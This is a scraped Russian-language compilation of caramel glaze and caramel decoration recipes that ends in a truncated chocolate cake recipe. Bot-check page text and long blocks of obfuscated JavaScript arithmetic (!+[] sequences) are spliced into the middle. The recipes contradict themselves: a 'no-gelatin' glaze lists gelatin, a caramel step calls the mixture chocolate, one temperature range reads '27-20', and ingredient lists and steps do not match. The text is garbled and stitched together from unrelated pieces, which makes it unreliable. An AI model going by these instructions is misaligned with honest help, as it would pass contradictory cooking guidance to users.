    Теперь на форму, в частности, половник карамелью рисуем зигзаогообразные полоски, чтобы получить в результате ажурную полусферу. Жаль не удалось сфотографировать именно этот момент, обе руки у меня были при деле, а дома никого не оказалось. Но я думаю, что вы сообразите 🙂 То же самое проделываем с ложками, поливая их карамелью. Результат хорошо виден на фото. Края нужно обрезать ножницами пока карамель не застыла, это упростит снятие карамельных украшений с формы. Теперь важно дождаться полного остывания.

    Когда карамельные украшения застынут аккуратно снимаем, помня, что карамель очень хрупка.

    Еще у меня карамель оставалась и я на силиконовом коврике (можно использовать пекарскую бумагу) нарисовала причудливые узоры. После застывания ими я дополнила свою кармельную композицию на торт «Наполеон».

    Хочется узнать ваше мнение по поводу моего опыта и получившихся карамельных украшений в комментариях.

    Надеюсь, статья показалась вам полезной и сподвигнет вас на очередной кулинарный подвиг!

    Карамельная глазурь | Домашний ресторан

    Достаточно простой рецепт очень вкусной, прекрасно кроющей, лёгкой в работе карамельной глазури!

    Ингредиенты:

    • Сахар гранулированный (желательно мелко-зернистый, быстро-растворимый) — 180 гр.,
    • Вода (тёплая) — 150 гр.,
    • Сливки (35%) — 150 гр.,
    • Крахмал кукурузный — 10 гр.,
    • Желатин (листовой) — 5 гр.

    Как приготовить:

    Подготовить, отмерить все нужные ингредиенты. В процессе у нас почти не будет времени на поиски необходимого, всё должно быть под рукой.

    5 гр листового желатина замочить в холодной воде. Это можно сделать первым шагом, если вы уверено готовите карамель. Или оставить чуть на потом, если не уверено!)

    Холодные сливки смешать с крахмалом. Крахмал я обычно всегда просеиваю перед употреблением, он имеет обыкновение скатываться в комочки, которые потом приходится разбивать…не всегда радуешься этому, когда нужно всё быстро!) наша группа в вконтакте: «торт-рецепт-vк», найди нас, подпишись на нас и получай каждый день новые интересные рецепты тортов и других кондитерских шедевров!

    Готовим карамель

    Есть два метода, которые я знаю — как готовить эту самую карамель…

    На сухую сковороду с толстым дном насыпаем сахар. Растапливаем его до светло-коричневого цвета…

    Первый — насыпаешь сахар, и даёшь ему плавиться на не большом огне, не дай Бог там его тронуть — помешать, даже если очень хочется)). Ну, встряхивать можно периодически, если нервы совсем не выдерживают…и кисточкой, смоченной холодной водой протирать по краю сковородки, где остались крупинки сахара. Честно говоря, нервы у меня всегда не выдерживают, и я всегда, когда уже всё кажется достаточно расплавившимся, начинаю очень осторожно передвигать массы более тёмного цвета к тому месту, где они побледней — понятное дело, не везде сковорода прогревается одинаково…где-то карамелизация происходит раньше, где-то вообще не происходит…шучу!

    Когда сахар плавится по чайной ложечке…. Занятие тоже не для слабонервных, честно говоря…Но по мне — так более контролируемое. Короче, как карамелизовать сахар — выбираем самостоятельно. Задача — сахар не пережечь. От этого зависит — будет ли ваша глазурь обалденно — сладковатой, или будет обалденно — горьковатой)). Короче — вкус вашего покрытия.

    Вливаем в карамель ТЁПЛУЮ воду. Аккуратно.

    Довести до кипения и до полного растворения карамели. Ложечкой помогайте, по донышку трите…. то что там у вас получилось…)

    Полученную горячую карамельную массу влить тонкой струйкой в сливки с крахмалом, перемешивая венчиком неустанно и судорожно)).

    Чуть остудить и ввести заранее замоченный и отжатый (отжатый не заранее, а прямо перед употреблением) листовой желатин.

    Хранить в контейнере до трёх дней в холодильнике или в морозильной камере до трёх недель. Использовать при температуре 20-25С. Перед использованием подогреть в микроволновке — выглядит, как новая! Проверено!

    Готовьте с удовольствием и балуйте своих любимых!

    Торт с карамельной глазурью


    Карамельная глазурь для торта: пошаговое приготовление

    Если вы хотите создать необычное и вкусное украшение для выпечки, то карамельная глазурь для торта – отличный выбор. Красивое и вкусное оформление десертов – характерная черта для опытных домохозяек, в отличие от простых любительниц сладкого. Карамельной глазурью, благодаря простоте и взаимозаменяемости ингредиентов, можно украсить не только праздничные торты, но и кексы или бисквиты. В итоге — вы сможете создать свой уникальный карамельный гляссаж!

    Основы технологии приготовления глазури

    Карамельная глазурь достаточно проста в технологии исполнения, для ее приготовления вам потребуются следующие ингредиенты:

    Ингредиенты для карамельной глазури

    • ½ ст. ложки сахара;
    • 30 г. сливочного масла;
    • 3 ст. л. сливок, желательно не меньше 30%;
    • 1 ст. л. сахарной пудры;
    • ¼ ч. л. ванилина.

    Этого списка продуктов хватит, чтобы получилась оригинальная карамельная глазурь. Рецепт начинайте с подготовки пропорций всех продуктов.

    Вы можете использовать такие ингредиенты, как сахар коричневый тростниковый, так и обычный белый сахар. Для приготовления, растопите в сотейнике масло сливочное и добавьте сливки, тщательно перемешайте, чтобы масса получилась однородная и равномерная.

    После этого насыпьте тонкий слой сахара в готовую смесь. Растопите сахар на медленном огне, не забывайте постоянно помешивать, тогда карамельная гладь начнет приобретать сметанную консистенцию.

    После 2-3 минут томления глазури, снимите сотейник с плиты и добавьте ½ ст. ложки сахарной пудры. Дайте глазури немного остыть и добавьте оставшиеся пудру с ванилином.

    Вот и все. Карамель готова. Поместите горячую шоколадную массу в холодильник.

    Оптимальная температура для нанесения на бисквитную основу около 27-20 градусов.

    Некоторые хозяюшки добавляют в сладкую поверхность желатин, но кулинары с опытом этого не делают. Как сделать карамельную глазурь знают повара и пекари. И у вас тоже все получится! Экспериментируйте с другими молочными продуктами, со специями – разнообразие методов приготовления настолько широко, что вы в любом случае найдете подходящий именно вам метод.

    Классический рецепт зеркальной карамельной глазури

    Карамельная зеркальная глазурь

    Такая карамельная глазурь прекрасно подходит для украшения праздничных тортов в собственном исполнении, или отличной основой, для более сложной композиции. В отражающей поверхности глазури есть что-то изысканное. Всматриваясь в отражение, можно почувствовать себя «Великим Гэтсби» на званой вечеринке. Обязательно попробуйте этот рецепт для карамельной глазури.

    Ингредиенты:

    • сахар – 250 гр.;
    • сахарная пудра – 500 гр.;
    • сливочное масло – 120 гр.;
    • молоко – 75 мл.

    По классической традиции, разогревайте в сотейнике сливочное масло. Постепенно всыпайте определенное количество сахара, не забывайте помешивать смесь до состояния однообразной массы.

    Доведите сливочную массу до кипения, и убавьте огонь до минимума. Постепенно добавляйте молоко. Помешивая, не забывайте поддерживать однородность смеси кастрюльке.

    После повторного закипания снимите сотейник с плиты. Лучше заранее подготовить водяную баню, и охладить в ней жидкость. В то время, как конфетный сироп охлаждается в ванной, мы продолжаем помешивать смесь, пока она не примет текучую и эластичную консистенцию.

    Карамельная глазурь на сливках

    Карамельная глазурь на сливках

    Есть твист на классический рецепт глазури. Получается та же самая зеркальная карамель, только вместо молока, в основе будут сливки. Они сделают карамельную эмаль более нежной и мягкой по вкусу. Процесс приготовления глазури аналогичен классическому рецепту.

    Ингредиенты:

    • рассыпчатый сахар – 250 гр.;
    • сахарная пудра – 450 гр.;
    • сливочное масло – 120 гр.;
    • сливки (35%) – 1/3 ст.;
    • ванилин – 1/3 ч. л.
    Как приготовить карамельную глазурь

    Проверив наличие всех ингредиентов, вы готовы приступать к готовке, блендер и инвертный сироп стоят в стороне, и ждут своего часа.

    Замочите желатин в 60 г. Воды и дождитесь, когда он набухнет. В это время в кастрюле масло уже должно быть растоплено.

    Далее добавляйте сахар, регулярно помешивая.

    Приготовление карамельной глазури

    Пока плавится сахар, в отдельной посуде смешивайте инвертный сироп с 50 мл. воды. Ставьте на медленный огонь, не забывая постоянно помешивать «сладкий коктейль». Доведите смесь до кипения.

    В растопленный сахар маленькой струйкой добавьте инвертный сироп. Пока добавляете сироп, не забывайте помешивать.

    Разломайте шоколад и поместите в блендер, залейте сгущёнкой и набухшим желатином, затем добавьте карамель и взбейте в блендере. Измельчать следует на малых оборотах, до образования однородной массы. Если цвет глазури вам не нравится, не переживайте, цвета и оттенки можно регулировать пищевым красителем. На вкус и зеркальные свойства глазури это не повлияет.

    Готовую смесь охладите. Желательно чтобы она провела в холодильнике минимум сутки. Перед декорированием торта, нагрейте желеобразную массу до нужной консистенции. После этого снова измельчите в блендере. Готово!

    Видео приготовления зеркальной карамельной глазури

    httpss://youtu.be/LoaEzxA2Wm4

    Сладкое покрытие для сдобных изделий с молочным шоколадом и сгущенкой

    Карамельная глазурь имеет множество рецептов, но есть тот, который совмещает себе простые, но с детства любимые шоколад и сгущенное молоко.

    Такое сочетание порадует, как маленьких сладкоежек, так и взрослых любителей карамели. В жизни нужно попробовать все, и зеркальная карамельная глазурь с молочным шоколадом и сгущенкой – не исключение.

    Важные ингредиенты:

    • инвертный сироп — 100 гр.;
    • сахар – 100 гр.;
    • вода – 110 мл.;
    • молочный шоколад – 100 гр.;
    • сгущённое молоко (не варёное) – 70 гр.;
    • желатин – 1 ч. л.;
    • блендер.

    Для приготовления глазури готовим инвертный сироп.

    Для этого в сотейник с толстым дном налейте 130 мл воды. Нагрейте воду и постепенно высыпайте 300 г. сахара.

    Постоянно помешивайте сладкую воду. На малом огне доведите до кипения жидкость и добавьте ⅓ ч. л. лимонной кислоты.

    Получившуюся смесь томите на медленном огне, на протяжении 20-ти минут. Медовая тягучесть и цвет с оттенками дуба – результат отличной работы, проделанной вами.

    Карамельная глазурь на вареной сгущенке

    Ингредиенты для карамельной глазури на вареной сгущенке

    При приготовлении карамельной глазури на сгущенке, вы можете сами выбрать основной ингредиент, исходя из личных предпочтений. Сгущённое молоко, мягкие тянущиеся ириски, или даже конфеты «Коровка» – все зависит от вашего вкуса и наличия продукта в холодильнике.

    Чтобы карамельная глазурь заиграла новым оттенком, вам понадобятся:

    • сахар – 100 г.;
    • вареное сгущённое молоко – 250 гр.;
    • сливки 20% 250 мл.;
    • желатин – 10 гр;
    • сито.

    Замачивайте желатин в сливках примерно 30 минут. Далее в сотейник налейте сгущенку, сахар и сливки. Как вы заметили, рецепт карамели несложный в приготовлении. Одним из самых главных моментов является ее непрерывное перемешивание. Если просто оставить глазурь на огне, вероятнее всего у вас не получится тот вкусный продукт, на который вы рассчитывали изначально.

    Готовую жидкость грейте на среднем огне, пока сахар не растает. После этого выключайте огонь, и дайте карамели остыть и немного затвердеть. Далее добавьте желатин, который уже набух. Именно желатин делает из всей массы одно целое. Поэтому его можно назвать основным ингредиентом.

    Затем используйте сито. Процеживайте смесь, которая получилась. Потом укутайте пищевой пленкой. После чего поставьте карамельное лакомство остывать в холодильник на 8 часов.

    Перед декорацией вашего торта подогрейте глазурь до 35 градусов.

    Интересный факт: использовать эту глазурь можно даже вместо шоколадных паст для булочек.

    Карамельная глазурь без желатина

    Карамельная глазурь без желатина

    Нам понадобится:

    • мелкий сахар – 180 гр.;
    • теплая вода – 150 г;
    • жирные сливки от 35% – 150 г;
    • крахмал кукурузный – 10 г;
    • листовой желатин — 5 г.

    В отдельной посуде смешайте крахмал и сливки. Следите, чтобы не образовывались комочки. Чтобы этого избежать, можно предварительно просеять крахмал.

    Перед процессом карамелизации, обязательно убедитесь, что сковорода имеет сухую поверхность и плотное дно. Далее растопите сахар до светло-коричневого цвета. Но не перемешивайте сахар при топлении! Этот шаг необходимо соблюдать для предотвращения полной кремации сахара.

    Когда нужный вам эффект достигнут, добавляйте в домашнюю карамель теплую воду, и ждите полного растворения воды в сладкой смеси.

    Образовавшуюся смесь вливайте в сливки с крахмалом и объедините все элементы рецепта. У вас должна получится равномерная густая масса. Дайте карамели остыть. Карамельная глазурь готова, перед декорированием нагрейте зеркальную массу до 27 градусов.

    Карамельная глазурь: рецепт с кукурузным крахмалом

    Карамельная глазурь с кукурузным крахмалом

    Следуя классическим рецептам, вы будете использовать определенное количество сахарного сиропа или сиропа глюкозы, указанных в рецептах. Однако, если вам не удалось вовремя приобрести данные ингредиенты, вы можете смело заменить их кукурузным крахмалом. Для рецепта подготовьте следующие продукты:

    • стакан коричневого сахара;
    • жирные сливки 150 мл.;
    • кипяток;
    • чайная ложка кукурузного крахмала;
    • листовой желатин 5 грамм
    • 50 мл воды.

    Измельчите желатин и оставьте его разбухать в теплой воде. Тем временем, просеивайте крахмал через сито и постепенно добавляйте его к сливкам. А чтобы исключить появление комочков, смешивайте их между собой очень медленно, но без остановок.

    Далее в сотейник насыпайте сахар, и немного прогрейте полученный продукт. Затем медленно добавьте в смесь воду, и варите в течение 15 минут.

    Отдельно поставьте на огонь массу сливок с крахмалом и доведите до температуры 70-80 градусов Цельсия. После этого снимите емкость с огня и соедините горячую смесь с карамельной массой.

    Продолжайте варить сладкое лакомство и постоянно перемешивайте. После нескольких минут кипения, выключите газ, и дайте глазури остыть. Теперь она готова, и карамель можно использовать для украшения кексов, тортов или конфет.

    Не важно, какой из рецептов вы выберете, и что будете готовить, основной ингредиент всех блюд – любовь. В рецептах это не пишут. Всегда пробуйте что-то новое, и позволяйте себе время от времени отклоняться от рецептов.

    Минутку …

    Включите файлы cookie и перезагрузите страницу.

    Этот процесс автоматический. Ваш браузер в ближайшее время перенаправит вас на запрошенный контент.

    Подождите до 5 секунд…

    + ((! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + []) + (! + [] + (!! []) — []) + (! + [] — (!! [])) + (! + [] + (!! []) +! ! [] + !! []) + (+ !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) — []) + (! + [] + (!! []) + !! [])) / + ( (+ !! [] + []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! []) + (! + [] — (!! [])) + (! + [] + (!! []) + !! [] + !! []) + (! + [] — (!! [])) + (! + [] + (!! []) + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] +! ! [] + !! []) + (! + [] + (!! []) + !! []) + (! + [] + (!! []) + !! [] + !! [ ] + !! [] + !! []))

    + ((! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + []) + (! + [] + (!! []) + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] — (!! [])) + (! + [] + (!! []) + !! [] + !! []) + (+ !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! []) + (+ !! [])) / + ((+ !! [] + [ ]) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [ ] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] ) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! []))

    + ((! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + []) + (! + [] + (!! []) + !! [] + !! []) + (+ !! []) + (! + [] — (!! [])) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (+ !! [])) / + ((! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] — (! ! [])) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! []) + (! + [] + (!! []) — []) + (+ !! []) + (! + [] + (!! []) — []))

    + ((! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + []) + (+ !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! []) + (! + [] — (!! []) ) + (! + [] + (!! []) + !! [] + !! []) + (! + [] + (!! []) — []) + (! + [] + ( !! []) + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [])) / + ((! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + []) + (! + [ ] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [ ] + !! [] + !! []) + (! + [] + (!! []) + !! []) + (! + [] + (!! []) — []) + ( ! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + !! []))

    + ((! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [ ] + !! [] + !! [] + !! []) + (! + [] — (!! [])) + (! + [] — (!! [])) + (! + [ ] + (!! []) + !! []) + (! + [] + (!! []) + !! [] + !! []) + (! + [] + (!! [] ) + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [])) / + ( (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] +! ! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! []) + (! + [] + (!! []) + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! []))

    + ((! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + []) + (! + [] + (!! []) + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [ ] + !! [] + !! []) + (! + [] — (!! [])) + (! + [] + (!! []) + !! [] + !! []) + (+ !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! []) + (! + [] + ( !! []) + !! [] + !! []) + (+ !! [])) / + ((! + [] + (!! []) + !! [] + !! [] + !! [] + []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! []) + ( ! + [] — (!! [])) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] — (!! [])) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [ ] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) — []) + (! + [] + (!! [ ]) + !! [] + !! [] + !! [] + !! [] + !! []))

    + ((! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + []) + (! + [] + (!! []) + !! [] + !! [] + !! []) + (! + [] + (!! []) +!

    .

    Минутку …

    Включите файлы cookie и перезагрузите страницу.

    Этот процесс автоматический. Ваш браузер в ближайшее время перенаправит вас на запрошенный контент.

    Подождите до 5 секунд…

    + ((! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + []) + (! + [] + (!! []) + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [ ] + !! [] + !! []) + (! + [] — (!! [])) + (! + [] + (!! []) + !! [] + !! []) + (+ !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! []) + (! + [] + ( !! []) + !! [] + !! []) + (+ !! [])) / + ((! + [] + (!! []) — [] + []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] +! ! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [ ]) + (! + [] + (!! []) + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + !! []))

    + ((! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + !! [ ] + []) + (! + [] + (!! []) + !! [] + !! []) + (+ !! []) + (! + [] — (!! []) ) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [ ] + (!! []) + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [ ] + !! []) + (+ !! [])) / + ((! + [] + (!! []) + !! [] + !! [] + !! [] + !! [ ] + !! [] + !! [] + []) + (! + [] + (!! []) — []) + (! + [] + (!! []) + !! [] ) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! []) + (! + [] + (! ! []) — []) + (! + [] + (!! []) + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! []))

    + ((! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + []) + (! + [] + (!! []) + !! []) + (! + [] + (!! []) + !! [] +! ! [] + !! [] + !! [] + !! [] + !! []) + (! + [] — (!! [])) + (! + [] + (!! [] ) + !! [] + !! []) + (+ !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] +! ! []) + (! + [] + (!! []) + !! [] + !! []) + (+ !! [])) / + ((! + [] + (!! [ ]) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] +! ! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! []) + ( ! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + ( !! []) — []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! []))

    + ((! + [ ] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + []) + (! + [] + (!! []) — []) + (! + [] — (!! [])) + (! + [] + (!! []) + !! [] + !! [ ]) + (+ !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] +! ! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) — []) + (! + [] + (!! []) + !! [])) / + ((! + [] + ( !! []) — [] + []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] ) + (! + [] + (!! []) + !! [] + !! [] +! ! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] — (!! [])) + (! + [] + (!! []) + !! [] ) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! []))

    + ((! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + []) + (+ !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! []) + (! + [ ] — (!! [])) + (! + [] + (!! []) + !! [] + !! []) + (! + [] + (!! []) — []) + (! + [] + (!! []) + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [])) / + ((! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + []) + ( ! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (+ !! []) + (! + [] + (!! []) + !! [] + !! []) + (! + [] + (!! []) + !! []) + ( ! + [] + (!! []) — []) + (! + [] + (!! []) + !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! []) + (! + [] + (!! []) + !! [] + !! [ ] + !! [] + !! []))

    + ((! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + !! [] + []) + (! + [] + (!! []) — []) + (! + [] — (!! [])) + (! + [] + (!! []) + !! [] + !! []) + (+ !! []) + (! + [] + (!! []) + !! [] + !! [] + !! [] + !! [] + !!

    .

    Шоколадный торт с карамельным сливочным кремом и хрустящим карамельным попкорном

    За последние 5 с половиной лет я сделал бесчисленное количество фотографий. Было бы очень интересно узнать точное число… а может, и нет.
    Из всего этого, очевидно, мне нравятся все фотографии, которые я публикую, более или менее. Но есть и особенные. Те, у которых есть что-то лишнее.
    Вся эта съемка для меня в точности такая.

    Что делает его еще более особенным, так это то, что дом, в котором мы снимали это, уже не тот, что был раньше.Очевидно, дом был изрядно обветшалым и очень нуждался в ремонте, но все же … посмотрите на этот бирюзовый кухонный шкаф и эти красивые обои с золотыми медальонами. Картины, мраморный стол и стул. Я мог бы провести там много времени, просто просматривая валявшиеся старые газеты.

    Я был в этом доме несколько раз до съемок в нем, конечно с разрешения владельцев. Когда я работал над своей последней опубликованной книгой «Сладкая еда и фотография», я рассказал своему издателю об этом доме и увидел волнение в ее глазах.

    Я рассказал ей об обоях, газетах (кухонный шкаф я еще не обнаружил) и свете. В свете старых домов определенно есть что-то особенное. Она сказала мне: «Вы ДОЛЖНЫ фотографировать в этом доме». Я последовал ее совету.

    Во-первых, мы (я имею в виду меня и мою подругу / помощницу Эмму) сделали пробную съемку кексов и пирогов, которые я лежал дома. Помню, в тот день в доме было так холодно. Еще холоднее, чем на улице.Думаю, это было в апреле 2014 года. Я понял, что это идеальное место для съемок, и что мне нужно вернуться и сделать это снова.

    Примерно через месяц мы вернулись на съемку. Все было именно так, как мы его оставили. Что мне еще нравится в этой съемке, так это то, что мне даже не пришлось брать с собой реквизит. Мы нашли все необходимое в доме (кроме торта, цветов и тарелок, разумеется). Теперь всего этого больше нет. Я довольно ностальгический человек, поэтому тот факт, что все это ушло, заставляет меня думать об этом еще больше.

    Я пытаюсь напомнить себе, что дом был в довольно плохом состоянии и что это был лишь вопрос времени, когда его нужно было снести или что-то в этом роде. Теперь у дома новые владельцы, превратившие его в дом своей мечты. Я просто счастлив, что смог сделать эти фотографии, пока не стало слишком поздно! Конечно, я отдал копию своей книги предыдущим владельцам в качестве благодарности за то, что разрешили мне там снимать.

    Многие из этих фотографий взяты из моей книги Sweet food & photography , которая переводится на английский, французский, голландский и немецкий языки.Я очень благодарен! Я также почувствовал, что должен поделиться этим рецептом из книги, потому что это действительно один из лучших тортов. Хрустящий карамельный попкорн сверху … ну, все, что я могу сказать, старайтесь не есть их все прямо с противня …
    Да, и, кстати, на фотографии в рамке справа на фотографии выше изображен котенок сидит на столе рядом с кактусом. Насколько это здорово?

    Делает один 6-дюймовый торт, на 10-12 порций

    Некоторые примечания об этом рецепте: Я предлагаю использовать кофе в пироге, так как он усиливает шоколадный вкус, а также добавление немного рома или бурбона в карамель выводит его на совершенно новый уровень.Вы можете прочитать мое руководство о том, как заполнить и накрыть торт ЗДЕСЬ! А если вы новичок в сливочном масле из швейцарской безе, ПОЖАЛУЙСТА, не выбрасывайте его, если он свернется! Просто продолжай биться, я обещаю, что со временем все сложится.

    Состав
    Шоколадный торт
    • 75 г (~ 2/3 палочки) сливочного масла
    • 270 г (1 3/4 стакана + 2 1/2 ст. Л.) Универсальной муки
    • 1 1/2 ч. Л. разрыхлитель
    • 1 1/2 ч. Л.пищевая сода
    • 60 г (2/3 стакана) какао-порошка
    • 340 г (1 1/2 стакана + 1 ст. Л.) Сахарного песка
    • 1/4 ч. Л. слоеная соль
    • 2 средних яйца
    • 225 мл (около 1 стакана) молока
    • 150 мл (2/3 чашки) горячего кофе или горячей воды
    Соленая карамель
    • 150 мл (2/3 стакана) жирных сливок
    • 225 г (около 1 стакана) сахарного песка
    • 100 г (1 небольшая палочка) сливочного масла холодного соли, нарезанного кубиками
    • 1/2 ч. Л.слоеная соль
    • 2 ст. темный ром или бурбон, по желанию
    Швейцарское масло сливочное безе
    • 4 яичных белка (около 150 г)
    • 180 г (3/4 стакана + 1 1/2 ст. Л.) Сахарного песка
    • 250 г (2 палочки + 2 ст. Л.) Размягченного сливочного масла, нарезанного кубиками
    • 100 мл (1/3 стакана + 1 1/2 столовой ложки) карамели (рецепт выше)
    Хрустящий карамельный попкорн
    • 1/2 пакета попкорна для микроволновой печи или приготовьте свой собственный
    • 100 мл (1/3 стакана + 1 1/2 столовой ложки) карамели (рецепт выше)
    Инструкции
    Шоколадный торт
    1. Разогрейте духовку до 175 ° C (350 ° F).Смажьте масло и муку на двух 6-дюймовых (15 см) противнях.
    2. Растопите масло и дайте ему остыть.
    3. Просейте муку, разрыхлитель, пищевую соду, какао-порошок и сахар в большую миску. Добавьте к сухим ингредиентам соль, яйца, молоко, кофе и растопленное масло и перемешайте, пока тесто не станет однородным.
    4. Разделите тесто по подготовленным формам и выпекайте 30-35 минут или пока тестер не выйдет чистым. Дайте пирогам остыть в сковороде, прежде чем выкладывать их на решетку для полного остывания.
    Соленая карамель
    1. Осторожно нагрейте сливки в небольшой кастрюле. Отложите в сторону.
    2. Поместите сахар в широкую кастрюлю с толстым дном и нагрейте на среднем огне, пока сахар не начнет таять по краям. Тщательно перемешайте сахар термостойкой ложкой, пока весь сахар не растает и не станет золотистого цвета.
    3. Добавьте масло по частям и перемешайте, пока оно не растает. Осторожно добавьте теплые сливки (они будут пузыриться!), Помешивая, пока они не станут однородными.Добавьте соль и ром / бурбон, если используете.
    4. Налейте карамель в банку и дайте ей остыть до комнатной температуры, пока будете делать сливочный крем.
    Швейцарское масло сливочное безе
